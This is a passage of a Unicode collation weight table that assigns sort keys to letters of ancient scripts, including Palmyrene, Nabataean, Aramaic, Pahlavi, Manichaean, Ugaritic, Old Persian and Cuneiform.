LETTER DALETH -10864 ; [.48B9.0020.0002] # PALMYRENE LETTER HE -10865 ; [.48BA.0020.0002] # PALMYRENE LETTER WAW -10866 ; [.48BB.0020.0002] # PALMYRENE LETTER ZAYIN -10867 ; [.48BC.0020.0002] # PALMYRENE LETTER HETH -10868 ; [.48BD.0020.0002] # PALMYRENE LETTER TETH -10869 ; [.48BE.0020.0002] # PALMYRENE LETTER YODH -1086A ; [.48BF.0020.0002] # PALMYRENE LETTER KAPH -1086B ; [.48C0.0020.0002] # PALMYRENE LETTER LAMEDH -1086C ; [.48C1.0020.0002] # PALMYRENE LETTER MEM -1086E ; [.48C2.0020.0002] # PALMYRENE LETTER NUN -1086D ; [.48C2.0020.0019] # PALMYRENE LETTER FINAL NUN -1086F ; [.48C3.0020.0002] # PALMYRENE LETTER SAMEKH -10870 ; [.48C4.0020.0002] # PALMYRENE LETTER AYIN -10871 ; [.48C5.0020.0002] # PALMYRENE LETTER PE -10872 ; [.48C6.0020.0002] # PALMYRENE LETTER SADHE -10873 ; [.48C7.0020.0002] # PALMYRENE LETTER QOPH -10874 ; [.48C8.0020.0002] # PALMYRENE LETTER RESH -10875 ; [.48C9.0020.0002] # PALMYRENE LETTER SHIN -10876 ; [.48CA.0020.0002] # PALMYRENE LETTER TAW -10881 ; [.48CB.0020.0002] # NABATAEAN LETTER ALEPH -10880 ; [.48CB.0020.0019] # NABATAEAN LETTER FINAL ALEPH -10883 ; [.48CC.0020.0002] # NABATAEAN LETTER BETH -10882 ; [.48CC.0020.0019] # NABATAEAN LETTER FINAL BETH -10884 ; [.48CD.0020.0002] # NABATAEAN LETTER GIMEL -10885 ; [.48CE.0020.0002] # NABATAEAN LETTER DALETH -10887 ; [.48CF.0020.0002] # NABATAEAN LETTER HE -10886 ; [.48CF.0020.0019] # NABATAEAN LETTER FINAL HE -10888 ; [.48D0.0020.0002] # NABATAEAN LETTER WAW -10889 ; [.48D1.0020.0002] # NABATAEAN LETTER ZAYIN -1088A ; [.48D2.0020.0002] # NABATAEAN LETTER HETH -1088B ; [.48D3.0020.0002] # NABATAEAN LETTER TETH -1088D ; [.48D4.0020.0002] # NABATAEAN LETTER YODH -1088C ; [.48D4.0020.0019] # NABATAEAN LETTER FINAL YODH -1088F ; [.48D5.0020.0002] # NABATAEAN LETTER KAPH -1088E ; [.48D5.0020.0019] # NABATAEAN LETTER FINAL KAPH -10891 ; [.48D6.0020.0002] # NABATAEAN LETTER LAMEDH -10890 ; [.48D6.0020.0019] # NABATAEAN LETTER FINAL LAMEDH -10893 ; [.48D7.0020.0002] # NABATAEAN LETTER MEM -10892 ; [.48D7.0020.0019] # NABATAEAN LETTER FINAL MEM -10895 ; [.48D8.0020.0002] # NABATAEAN LETTER NUN -10894 ; [.48D8.0020.0019] # NABATAEAN LETTER FINAL NUN -10896 ; [.48D9.0020.0002] # NABATAEAN LETTER SAMEKH -10897 ; [.48DA.0020.0002] # NABATAEAN LETTER AYIN -10898 ; [.48DB.0020.0002] # NABATAEAN LETTER PE -10899 ; [.48DC.0020.0002] # NABATAEAN LETTER SADHE -1089A ; [.48DD.0020.0002] # NABATAEAN LETTER QOPH -1089B ; [.48DE.0020.0002] # NABATAEAN LETTER RESH -1089D ; [.48DF.0020.0002] # NABATAEAN LETTER SHIN -1089C ; [.48DF.0020.0019] # NABATAEAN LETTER FINAL SHIN -1089E ; [.48E0.0020.0002] # NABATAEAN LETTER TAW -108E0 ; [.48E1.0020.0002] # HATRAN LETTER ALEPH -108E1 ; [.48E2.0020.0002] # HATRAN LETTER BETH -108E2 ; [.48E3.0020.0002] # HATRAN LETTER GIMEL -108E3 ; [.48E4.0020.0002] # HATRAN LETTER DALETH-RESH -108E4 ; [.48E5.0020.0002] # HATRAN LETTER HE -108E5 ; [.48E6.0020.0002] # HATRAN LETTER WAW -108E6 ; [.48E7.0020.0002] # HATRAN LETTER ZAYN -108E7 ; [.48E8.0020.0002] # HATRAN LETTER HETH -108E8 ; [.48E9.0020.0002] # HATRAN LETTER TETH -108E9 ; [.48EA.0020.0002] # HATRAN LETTER YODH -108EA ; [.48EB.0020.0002] # HATRAN LETTER KAPH -108EB ; [.48EC.0020.0002] # HATRAN LETTER LAMEDH -108EC ; [.48ED.0020.0002] # HATRAN LETTER MEM -108ED ; [.48EE.0020.0002] # HATRAN LETTER NUN -108EE ; [.48EF.0020.0002] # HATRAN LETTER SAMEKH -108EF ; [.48F0.0020.0002] # HATRAN LETTER AYN -108F0 ; [.48F1.0020.0002] # HATRAN LETTER PE -108F1 ; [.48F2.0020.0002] # HATRAN LETTER SADHE -108F2 ; [.48F3.0020.0002] # HATRAN LETTER QOPH -108F4 ; [.48F4.0020.0002] # HATRAN LETTER SHIN -108F5 ; [.48F5.0020.0002] # HATRAN LETTER TAW -10840 ; [.48F6.0020.0002] # IMPERIAL ARAMAIC LETTER ALEPH -10841 ; [.48F7.0020.0002] # IMPERIAL ARAMAIC LETTER BETH -10842 ; [.48F8.0020.0002] # IMPERIAL ARAMAIC LETTER GIMEL -10843 ; [.48F9.0020.0002] # IMPERIAL ARAMAIC LETTER DALETH -10844 ; [.48FA.0020.0002] # IMPERIAL ARAMAIC LETTER HE -10845 ; [.48FB.0020.0002] # IMPERIAL ARAMAIC LETTER WAW -10846 ; [.48FC.0020.0002] # IMPERIAL ARAMAIC LETTER ZAYIN -10847 ; [.48FD.0020.0002] # IMPERIAL ARAMAIC LETTER HETH -10848 ; [.48FE.0020.0002] # IMPERIAL ARAMAIC LETTER TETH -10849 ; [.48FF.0020.0002] # IMPERIAL ARAMAIC LETTER YODH -1084A ; [.4900.0020.0002] # IMPERIAL ARAMAIC LETTER KAPH -1084B ; [.4901.0020.0002] # IMPERIAL ARAMAIC LETTER LAMEDH -1084C ; [.4902.0020.0002] # IMPERIAL ARAMAIC LETTER MEM -1084D ; [.4903.0020.0002] # IMPERIAL ARAMAIC LETTER NUN -1084E ; [.4904.0020.0002] # IMPERIAL ARAMAIC LETTER SAMEKH -1084F ; [.4905.0020.0002] # IMPERIAL ARAMAIC LETTER AYIN -10850 ; [.4906.0020.0002] # IMPERIAL ARAMAIC LETTER PE -10851 ; [.4907.0020.0002] # IMPERIAL ARAMAIC LETTER SADHE -10852 ; [.4908.0020.0002] # IMPERIAL ARAMAIC LETTER QOPH -10853 ; [.4909.0020.0002] # IMPERIAL ARAMAIC LETTER RESH -10854 ; [.490A.0020.0002] # IMPERIAL ARAMAIC LETTER SHIN -10855 ; [.490B.0020.0002] # IMPERIAL ARAMAIC LETTER TAW -10B40 ; [.490C.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER ALEPH -10B41 ; [.490D.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER BETH -10B42 ; [.490E.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER GIMEL -10B43 ; [.490F.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER DALETH -10B44 ; [.4910.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER HE -10B45 ; [.4911.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER WAW -10B46 ; [.4912.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER ZAYIN -10B47 ; [.4913.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER HETH -10B48 ; [.4914.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER TETH -10B49 ; [.4915.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER YODH -10B4A ; [.4916.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER KAPH -10B4B ; [.4917.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER LAMEDH -10B4C ; [.4918.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER MEM -10B4D ; [.4919.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER NUN -10B4E ; [.491A.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER SAMEKH -10B4F ; [.491B.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER AYIN -10B50 ; [.491C.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER PE -10B51 ; [.491D.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER SADHE -10B52 ; [.491E.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER QOPH -10B53 ; [.491F.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER RESH -10B54 ; [.4920.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER SHIN -10B55 ; [.4921.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER TAW -10B60 ; [.4922.0020.0002] # INSCRIPTIONAL PAHLAVI LETTER ALEPH -10B61 ; [.4923.0020.0002] # INSCRIPTIONAL PAHLAVI LETTER BETH -10B62 ; [.4924.0020.0002] # INSCRIPTIONAL PAHLAVI LETTER GIMEL -10B63 ; [.4925.0020.0002] # INSCRIPTIONAL PAHLAVI LETTER DALETH -10B64 ; [.4926.0020.0002] # INSCRIPTIONAL PAHLAVI LETTER HE -10B65 ; [.4927.0020.0002] # INSCRIPTIONAL PAHLAVI LETTER WAW-AYIN-RESH -10B66 ; [.4928.0020.0002] # INSCRIPTIONAL PAHLAVI LETTER ZAYIN -10B67 ; [.4929.0020.0002] # INSCRIPTIONAL PAHLAVI LETTER HETH -10B68 ; [.492A.0020.0002] # INSCRIPTIONAL PAHLAVI LETTER TETH -10B69 ; [.492B.0020.0002] # INSCRIPTIONAL PAHLAVI LETTER YODH -10B6A ; [.492C.0020.0002] # INSCRIPTIONAL PAHLAVI LETTER KAPH -10B6B ; [.492D.0020.0002] # INSCRIPTIONAL PAHLAVI LETTER LAMEDH -10B6C ; [.492E.0020.0002] # INSCRIPTIONAL PAHLAVI LETTER MEM-QOPH -10B6D ; [.492F.0020.0002] # INSCRIPTIONAL PAHLAVI LETTER NUN -10B6E ; [.4930.0020.0002] # INSCRIPTIONAL PAHLAVI LETTER SAMEKH -10B6F ; [.4931.0020.0002] # INSCRIPTIONAL PAHLAVI LETTER PE -10B70 ; [.4932.0020.0002] # INSCRIPTIONAL PAHLAVI LETTER SADHE -10B71 ; [.4933.0020.0002] # INSCRIPTIONAL PAHLAVI LETTER SHIN -10B72 ; [.4934.0020.0002] # INSCRIPTIONAL PAHLAVI LETTER TAW -10B80 ; [.4935.0020.0002] # PSALTER PAHLAVI LETTER ALEPH -10B81 ; [.4936.0020.0002] # PSALTER PAHLAVI LETTER BETH -10B82 ; [.4937.0020.0002] # PSALTER PAHLAVI LETTER GIMEL -10B83 ; [.4938.0020.0002] # PSALTER PAHLAVI LETTER DALETH -10B84 ; [.4939.0020.0002] # PSALTER PAHLAVI LETTER HE -10B85 ; [.493A.0020.0002] # PSALTER PAHLAVI LETTER WAW-AYIN-RESH -10B86 ; [.493B.0020.0002] # PSALTER PAHLAVI LETTER ZAYIN -10B87 ; [.493C.0020.0002] # PSALTER PAHLAVI LETTER HETH -10B88 ; [.493D.0020.0002] # PSALTER PAHLAVI LETTER YODH -10B89 ; [.493E.0020.0002] # PSALTER PAHLAVI LETTER KAPH -10B8A ; [.493F.0020.0002] # PSALTER PAHLAVI LETTER LAMEDH -10B8B ; [.4940.0020.0002] # PSALTER PAHLAVI LETTER MEM-QOPH -10B8C ; [.4941.0020.0002] # PSALTER PAHLAVI LETTER NUN -10B8D ; [.4942.0020.0002] # PSALTER PAHLAVI LETTER SAMEKH -10B8E ; [.4943.0020.0002] # PSALTER PAHLAVI LETTER PE -10B8F ; [.4944.0020.0002] # PSALTER PAHLAVI LETTER SADHE -10B90 ; [.4945.0020.0002] # PSALTER PAHLAVI LETTER SHIN -10B91 ; [.4946.0020.0002] # PSALTER PAHLAVI LETTER TAW -10AC0 ; [.4947.0020.0002] # MANICHAEAN LETTER ALEPH -10AC1 ; [.4948.0020.0002] # MANICHAEAN LETTER BETH -10AC2 ; [.4949.0020.0002] # MANICHAEAN LETTER BHETH -10AC3 ; [.494A.0020.0002] # MANICHAEAN LETTER GIMEL -10AC4 ; [.494B.0020.0002] # MANICHAEAN LETTER GHIMEL -10AC5 ; [.494C.0020.0002] # MANICHAEAN LETTER DALETH -10AC6 ; [.494D.0020.0002] # MANICHAEAN LETTER HE -10AC7 ; [.494E.0020.0002] # MANICHAEAN LETTER WAW -10AC8 ; [.494E.0020.0004][.0000.0111.0004] # MANICHAEAN SIGN UD -10AC9 ; [.494F.0020.0002] # MANICHAEAN LETTER ZAYIN -10ACA ; [.4950.0020.0002] # MANICHAEAN LETTER ZHAYIN -10ACB ; [.4951.0020.0002] # MANICHAEAN LETTER JAYIN -10ACC ; [.4952.0020.0002] # MANICHAEAN LETTER JHAYIN -10ACD ; [.4953.0020.0002] # MANICHAEAN LETTER HETH -10ACE ; [.4954.0020.0002] # MANICHAEAN LETTER TETH -10ACF ; [.4955.0020.0002] # MANICHAEAN LETTER YODH -10AD0 ; [.4956.0020.0002] # MANICHAEAN LETTER KAPH -10AD1 ; [.4957.0020.0002] # MANICHAEAN LETTER XAPH -10AD2 ; [.4958.0020.0002] # MANICHAEAN LETTER KHAPH -10AD3 ; [.4959.0020.0002] # MANICHAEAN LETTER LAMEDH -10AD4 ; [.495A.0020.0002] # MANICHAEAN LETTER DHAMEDH -10AD5 ; [.495B.0020.0002] # MANICHAEAN LETTER THAMEDH -10AD6 ; [.495C.0020.0002] # MANICHAEAN LETTER MEM -10AD7 ; [.495D.0020.0002] # MANICHAEAN LETTER NUN -10AD8 ; [.495E.0020.0002] # MANICHAEAN LETTER SAMEKH -10AD9 ; [.495F.0020.0002] # MANICHAEAN LETTER AYIN -10ADA ; [.4960.0020.0002] # MANICHAEAN LETTER AAYIN -10ADB ; [.4961.0020.0002] # MANICHAEAN LETTER PE -10ADC ; [.4962.0020.0002] # MANICHAEAN LETTER FE -10ADD ; [.4963.0020.0002] # MANICHAEAN LETTER SADHE -10ADE ; [.4964.0020.0002] # MANICHAEAN LETTER QOPH -10ADF ; [.4965.0020.0002] # MANICHAEAN LETTER XOPH -10AE0 ; [.4966.0020.0002] # MANICHAEAN LETTER QHOPH -10AE1 ; [.4967.0020.0002] # MANICHAEAN LETTER RESH -10AE2 ; [.4968.0020.0002] # MANICHAEAN LETTER SHIN -10AE3 ; [.4969.0020.0002] # MANICHAEAN LETTER SSHIN -10AE4 ; [.496A.0020.0002] # MANICHAEAN LETTER TAW -10380 ; [.496B.0020.0002] # UGARITIC LETTER ALPA -10381 ; [.496C.0020.0002] # UGARITIC LETTER BETA -10382 ; [.496D.0020.0002] # UGARITIC LETTER GAMLA -10383 ; [.496E.0020.0002] # UGARITIC LETTER KHA -10384 ; [.496F.0020.0002] # UGARITIC LETTER DELTA -10385 ; [.4970.0020.0002] # UGARITIC LETTER HO -10386 ; [.4971.0020.0002] # UGARITIC LETTER WO -10387 ; [.4972.0020.0002] # UGARITIC LETTER ZETA -10388 ; [.4973.0020.0002] # UGARITIC LETTER HOTA -10389 ; [.4974.0020.0002] # UGARITIC LETTER TET -1038A ; [.4975.0020.0002] # UGARITIC LETTER YOD -1038B ; [.4976.0020.0002] # UGARITIC LETTER KAF -1038C ; [.4977.0020.0002] # UGARITIC LETTER SHIN -1038D ; [.4978.0020.0002] # UGARITIC LETTER LAMDA -1038E ; [.4979.0020.0002] # UGARITIC LETTER MEM -1038F ; [.497A.0020.0002] # UGARITIC LETTER DHAL -10390 ; [.497B.0020.0002] # UGARITIC LETTER NUN -10391 ; [.497C.0020.0002] # UGARITIC LETTER ZU -10392 ; [.497D.0020.0002] # UGARITIC LETTER SAMKA -10393 ; [.497E.0020.0002] # UGARITIC LETTER AIN -10394 ; [.497F.0020.0002] # UGARITIC LETTER PU -10395 ; [.4980.0020.0002] # UGARITIC LETTER SADE -10396 ; [.4981.0020.0002] # UGARITIC LETTER QOPA -10397 ; [.4982.0020.0002] # UGARITIC LETTER RASHA -10398 ; [.4983.0020.0002] # UGARITIC LETTER THANNA -10399 ; [.4984.0020.0002] # UGARITIC LETTER GHAIN -1039A ; [.4985.0020.0002] # UGARITIC LETTER TO -1039B ; [.4986.0020.0002] # UGARITIC LETTER I -1039C ; [.4987.0020.0002] # UGARITIC LETTER U -1039D ; [.4988.0020.0002] # UGARITIC LETTER SSU -103A0 ; [.4989.0020.0002] # OLD PERSIAN SIGN A -103A1 ; [.498A.0020.0002] # OLD PERSIAN SIGN I -103A2 ; [.498B.0020.0002] # OLD PERSIAN SIGN U -103A3 ; [.498C.0020.0002] # OLD PERSIAN SIGN KA -103A4 ; [.498D.0020.0002] # OLD PERSIAN SIGN KU -103A5 ; [.498E.0020.0002] # OLD PERSIAN SIGN GA -103A6 ; [.498F.0020.0002] # OLD PERSIAN SIGN GU -103A7 ; [.4990.0020.0002] # OLD PERSIAN SIGN XA -103A8 ; [.4991.0020.0002] # OLD PERSIAN SIGN CA -103A9 ; [.4992.0020.0002] # OLD PERSIAN SIGN JA -103AA ; [.4993.0020.0002] # OLD PERSIAN SIGN JI -103AB ; [.4994.0020.0002] # OLD PERSIAN SIGN TA -103AC ; [.4995.0020.0002] # OLD PERSIAN SIGN TU -103AD ; [.4996.0020.0002] # OLD PERSIAN SIGN DA -103AE ; [.4997.0020.0002] # OLD PERSIAN SIGN DI -103AF ; [.4998.0020.0002] # OLD PERSIAN SIGN DU -103B0 ; [.4999.0020.0002] # OLD PERSIAN SIGN THA -103B1 ; [.499A.0020.0002] # OLD PERSIAN SIGN PA -103B2 ; [.499B.0020.0002] # OLD PERSIAN SIGN BA -103B3 ; [.499C.0020.0002] # OLD PERSIAN SIGN FA -103B4 ; [.499D.0020.0002] # OLD PERSIAN SIGN NA -103B5 ; [.499E.0020.0002] # OLD PERSIAN SIGN NU -103B6 ; [.499F.0020.0002] # OLD PERSIAN SIGN MA -103B7 ; [.49A0.0020.0002] # OLD PERSIAN SIGN MI -103B8 ; [.49A1.0020.0002] # OLD PERSIAN SIGN MU -103B9 ; [.49A2.0020.0002] # OLD PERSIAN SIGN YA -103BA ; [.49A3.0020.0002] # OLD PERSIAN SIGN VA -103BB ; [.49A4.0020.0002] # OLD PERSIAN SIGN VI -103BC ; [.49A5.0020.0002] # OLD PERSIAN SIGN RA -103BD ; [.49A6.0020.0002] # OLD PERSIAN SIGN RU -103BE ; [.49A7.0020.0002] # OLD PERSIAN SIGN LA -103BF ; [.49A8.0020.0002] # OLD PERSIAN SIGN SA -103C0 ; [.49A9.0020.0002] # OLD PERSIAN SIGN ZA -103C1 ; [.49AA.0020.0002] # OLD PERSIAN SIGN SHA -103C2 ; [.49AB.0020.0002] # OLD PERSIAN SIGN SSA -103C3 ; [.49AC.0020.0002] # OLD PERSIAN SIGN HA -103C8 ; [.49AD.0020.0002] # OLD PERSIAN SIGN AURAMAZDAA -103C9 ; [.49AE.0020.0002] # OLD PERSIAN SIGN AURAMAZDAA-2 -103CA ; [.49AF.0020.0002] # OLD PERSIAN SIGN AURAMAZDAAHA -103CB ; [.49B0.0020.0002] # OLD PERSIAN SIGN XSHAAYATHIYA -103CC ; [.49B1.0020.0002] # OLD PERSIAN SIGN DAHYAAUSH -103CD ; [.49B2.0020.0002] # OLD PERSIAN SIGN DAHYAAUSH-2 -103CE ; [.49B3.0020.0002] # OLD PERSIAN SIGN BAGA -103CF ; [.49B4.0020.0002] # OLD PERSIAN SIGN BUUMISH -12000 ; [.49B5.0020.0002] # CUNEIFORM SIGN A -12001 ; [.49B6.0020.0002] # CUNEIFORM SIGN A TIMES A -12002 ; [.49B7.0020.0002] # CUNEIFORM SIGN A TIMES BAD -12003 ; [.49B8.0020.0002] # CUNEIFORM SIGN A TIMES GAN2 TENU -12004 ; [.49B9.0020.0002] # CUNEIFORM SIGN A TIMES HA -12005 ; [.49BA.0020.0002] # CUNEIFORM SIGN A TIMES IGI -12006 ; [.49BB.0020.0002] # CUNEIFORM SIGN A TIMES LAGAR GUNU -12007 ; [.49BC.0020.0002] # CUNEIFORM SIGN A TIMES MUSH -12008 ; [.49BD.0020.0002] # CUNEIFORM SIGN A TIMES SAG -12009 ; [.49BE.0020.0002] # CUNEIFORM SIGN A2 -1200A ; [.49BF.0020.0002] # CUNEIFORM SIGN AB -1200B ; [.49C0.0020.0002] # CUNEIFORM SIGN AB TIMES ASH2 -1200C ; [.49C1.0020.0002] # CUNEIFORM SIGN AB TIMES DUN3 GUNU -1200D ; [.49C2.0020.0002] # CUNEIFORM SIGN AB TIMES GAL -1200E ; [.49C3.0020.0002] # CUNEIFORM SIGN AB TIMES GAN2 TENU -1200F ; [.49C4.0020.0002] # CUNEIFORM SIGN AB TIMES HA -12010 ; [.49C5.0020.0002] # CUNEIFORM SIGN AB TIMES IGI GUNU -12011 ; [.49C6.0020.0002] # CUNEIFORM SIGN AB TIMES IMIN -12012 ; [.49C7.0020.0002] # CUNEIFORM SIGN AB TIMES LAGAB -12013 ; [.49C8.0020.0002] # CUNEIFORM SIGN AB TIMES SHESH -12014 ; [.49C9.0020.0002] # CUNEIFORM SIGN AB TIMES U PLUS U PLUS U -12015 ; [.49CA.0020.0002] # CUNEIFORM SIGN AB GUNU -12016 ; [.49CB.0020.0002] # CUNEIFORM SIGN AB2 -12017 ; [.49CC.0020.0002] # CUNEIFORM SIGN AB2 TIMES BALAG -12018 ; [.49CD.0020.0002] # CUNEIFORM SIGN AB2 TIMES GAN2 TENU -12019 ; [.49CE.0020.0002] # CUNEIFORM SIGN AB2 TIMES ME PLUS EN -1201A ; [.49CF.0020.0002] # CUNEIFORM SIGN AB2 TIMES SHA3 -1201B ; [.49D0.0020.0002] # CUNEIFORM SIGN AB2 TIMES TAK4 -1201C ; [.49D1.0020.0002] # CUNEIFORM SIGN AD -1201D ; [.49D2.0020.0002] # CUNEIFORM SIGN AK -1201E ; [.49D3.0020.0002] # CUNEIFORM SIGN AK TIMES ERIN2 -1201F ; [.49D4.0020.0002] # CUNEIFORM SIGN AK TIMES SHITA PLUS GISH -12020 ; [.49D5.0020.0002] # CUNEIFORM SIGN AL -12021 ; [.49D6.0020.0002] # CUNEIFORM SIGN AL TIMES AL -12022 ; [.49D7.0020.0002] # CUNEIFORM SIGN AL TIMES DIM2 -12023 ; [.49D8.0020.0002] # CUNEIFORM SIGN AL TIMES GISH -12024 ; [.49D9.0020.0002] # CUNEIFORM SIGN AL TIMES HA -12025 ; [.49DA.0020.0002] # CUNEIFORM SIGN AL TIMES KAD3 -12026 ; [.49DB.0020.0002] # CUNEIFORM SIGN AL TIMES KI -12027 ; [.49DC.0020.0002] # CUNEIFORM SIGN AL TIMES SHE -12028 ; [.49DD.0020.0002] # CUNEIFORM SIGN AL TIMES USH -12029 ; [.49DE.0020.0002] # CUNEIFORM SIGN ALAN -1202A ; [.49DF.0020.0002] # CUNEIFORM SIGN ALEPH -1202B ; [.49E0.0020.0002] # CUNEIFORM SIGN AMAR -1202C ; [.49E1.0020.0002] # CUNEIFORM SIGN AMAR TIMES SHE -1202D ; [.49E2.0020.0002] # CUNEIFORM SIGN AN -1202E ; [.49E3.0020.0002] # CUNEIFORM SIGN AN OVER AN -1202F ; [.49E4.0020.0002] # CUNEIFORM SIGN AN THREE TIMES -12030 ; [.49E5.0020.0002] # CUNEIFORM SIGN AN PLUS NAGA OPPOSING AN PLUS NAGA -12031 ; [.49E6.0020.0002] # CUNEIFORM SIGN AN PLUS NAGA SQUARED -12032 ; [.49E7.0020.0002] # CUNEIFORM SIGN ANSHE -12033 ; [.49E8.0020.0002] # CUNEIFORM SIGN APIN -12034 ; [.49E9.0020.0002] # CUNEIFORM SIGN ARAD -12035 ; [.49EA.0020.0002] # CUNEIFORM SIGN ARAD TIMES KUR -12036 ; [.49EB.0020.0002] # CUNEIFORM SIGN ARKAB -12037 ; [.49EC.0020.0002] # CUNEIFORM SIGN ASAL2 -12038 ; [.49ED.0020.0002] # CUNEIFORM SIGN ASH -12039 ; [.49EE.0020.0002] # CUNEIFORM SIGN ASH ZIDA TENU -1203A ; [.49EF.0020.0002] # CUNEIFORM SIGN ASH KABA TENU -1203B ; [.49F0.0020.0002] # CUNEIFORM SIGN ASH OVER ASH TUG2 OVER TUG2 TUG2 OVER TUG2 PAP -1203C ; [.49F1.0020.0002] # CUNEIFORM SIGN ASH OVER ASH OVER ASH -1203D ; [.49F2.0020.0002] # CUNEIFORM SIGN ASH OVER ASH OVER ASH CROSSING ASH OVER ASH OVER ASH -1203E ; [.49F3.0020.0002] # CUNEIFORM SIGN ASH2 -1203F ; [.49F4.0020.0002] # CUNEIFORM SIGN ASHGAB -12040 ; [.49F5.0020.0002] # CUNEIFORM SIGN BA -12041 ; [.49F6.0020.0002] # CUNEIFORM SIGN BAD -12042 ; [.49F7.0020.0002] # CUNEIFORM SIGN BAG3 -12043 ; [.49F8.0020.0002] # CUNEIFORM SIGN BAHAR2 -12044 ; [.49F9.0020.0002] # CUNEIFORM SIGN BAL -12045 ; [.49FA.0020.0002] # CUNEIFORM SIGN BAL OVER BAL -12046 ; [.49FB.0020.0002] # CUNEIFORM SIGN BALAG -12047 ; [.49FC.0020.0002] # CUNEIFORM SIGN BAR -12048 ; [.49FD.0020.0002] # CUNEIFORM SIGN BARA2 -12049 ; [.49FE.0020.0002] # CUNEIFORM SIGN BI -1204A ; [.49FF.0020.0002] # CUNEIFORM SIGN BI TIMES A -1204B ; [.4A00.0020.0002] # CUNEIFORM SIGN BI TIMES GAR -1204C ; [.4A01.0020.0002] # CUNEIFORM SIGN BI TIMES IGI GUNU -1204D ; [.4A02.0020.0002] # CUNEIFORM SIGN BU -1204E ; [.4A03.0020.0002] # CUNEIFORM SIGN BU OVER BU AB -1204F ; [.4A04.0020.0002] # CUNEIFORM SIGN BU OVER BU UN -12050 ; [.4A05.0020.0002] # CUNEIFORM SIGN BU CROSSING BU -12051 ; [.4A06.0020.0002] # CUNEIFORM SIGN BULUG -12052 ; [.4A07.0020.0002] # CUNEIFORM SIGN BULUG OVER BULUG -12053 ; [.4A08.0020.0002] # CUNEIFORM SIGN BUR -12054 ; [.4A09.0020.0002] # CUNEIFORM SIGN BUR2 -12055 ; [.4A0A.0020.0002] # CUNEIFORM SIGN DA -12056 ; [.4A0B.0020.0002] # CUNEIFORM SIGN DAG -12057 ; [.4A0C.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES A PLUS MASH -12058 ; [.4A0D.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES AMAR -12059 ; [.4A0E.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES BALAG -1205A ; [.4A0F.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES BI -1205B ; [.4A10.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES GA -1205C ; [.4A11.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES GA PLUS MASH -1205D ; [.4A12.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES GI -1205E ; [.4A13.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES GIR2 -1205F ; [.4A14.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES GUD -12060 ; [.4A15.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES HA -12061 ; [.4A16.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES IR -12062 ; [.4A17.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES IR PLUS LU -12063 ; [.4A18.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES KAK -12064 ; [.4A19.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES LA -12065 ; [.4A1A.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES LU -12066 ; [.4A1B.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES LU PLUS MASH2 -12067 ; [.4A1C.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES LUM -12068 ; [.4A1D.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES NE -12069 ; [.4A1E.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES PAP PLUS PAP -1206A ; [.4A1F.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES SI -1206B ; [.4A20.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES TAK4 -1206C ; [.4A21.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES U2 PLUS GIR2 -1206D ; [.4A22.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES USH -1206E ; [.4A23.0020.0002] # CUNEIFORM SIGN DAM -1206F ; [.4A24.0020.0002] # CUNEIFORM SIGN DAR -12070 ; [.4A25.0020.0002] # CUNEIFORM SIGN DARA3 -12071 ; [.4A26.0020.0002] # CUNEIFORM SIGN DARA4 -12072 ; [.4A27.0020.0002] # CUNEIFORM SIGN DI -12073 ; [.4A28.0020.0002] # CUNEIFORM SIGN DIB -12074 ; [.4A29.0020.0002] # CUNEIFORM SIGN DIM -12075 ; [.4A2A.0020.0002] # CUNEIFORM SIGN DIM TIMES SHE -12076 ; [.4A2B.0020.0002] # CUNEIFORM SIGN DIM2 -12077 ; [.4A2C.0020.0002] # CUNEIFORM SIGN DIN -12078 ; [.4A2D.0020.0002] # CUNEIFORM SIGN DIN KASKAL U GUNU DISH -12079 ; [.4A2E.0020.0002] # CUNEIFORM SIGN DISH -1207A ; [.4A2F.0020.0002] # CUNEIFORM SIGN DU -1207B ; [.4A30.0020.0002] # CUNEIFORM SIGN DU OVER DU -1207C ; [.4A31.0020.0002] # CUNEIFORM SIGN DU GUNU -1207D ; [.4A32.0020.0002] # CUNEIFORM SIGN DU SHESHIG -1207E ; [.4A33.0020.0002] # CUNEIFORM SIGN DUB -1207F ; [.4A34.0020.0002] # CUNEIFORM SIGN DUB TIMES ESH2 -12080 ; [.4A35.0020.0002] # CUNEIFORM SIGN DUB2 -12081 ; [.4A36.0020.0002] # 